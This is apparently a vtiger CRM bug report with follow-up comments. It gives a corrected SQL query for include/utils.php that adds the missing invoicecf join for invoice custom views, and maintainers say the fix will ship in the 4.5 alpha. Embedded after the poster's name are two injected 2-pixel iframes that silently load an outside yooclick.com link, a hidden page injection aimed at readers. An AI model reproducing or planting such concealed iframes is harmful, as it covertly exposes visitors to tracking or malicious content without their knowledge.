When creating a invoice custom view that contains a custom field no results are displayed.
The code in include/utils.php is missing the sql inner join for invoicecf the following code replaces the original lines
if($module == "Invoice")
{
$query = "select crmentity.*, invoice.*, invoicebillads.*, invoiceshipads.*, invoicecf.* ,salesorder.subject as salessubject from invoice inner join crmentity on crmentity.crmid=invoice.invoiceid inner join invoicebillads on invoice.invoiceid=invoicebillads.invoicebilladdressid inner join invoiceshipads on invoice.invoiceid=invoiceshipads.invoiceshipaddressid left outer join salesorder on salesorder.salesorderid=invoice.salesorderid inner join invoicecf on invoice.invoiceid = invoicecf.invoiceid where crmentity.deleted=0".$where;
}
Geoff <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
Comments
thank you for your fix.we have integrated it in our product.also we expect the same in future
thanks & regards
jerry
this fix it.
more thanks to gtyerman for fix in invoice-module !!!
kleo
thanks for giving the fix, it is integrated and available in vtigercrm 4.5 alpha which is scheduled to release on second week of december.
thanks & regards,
raj
please be informed that the vtigercrm 4.5 alpha release with the fixes you have provided will be made available by this month.
philip
~jim (central pa)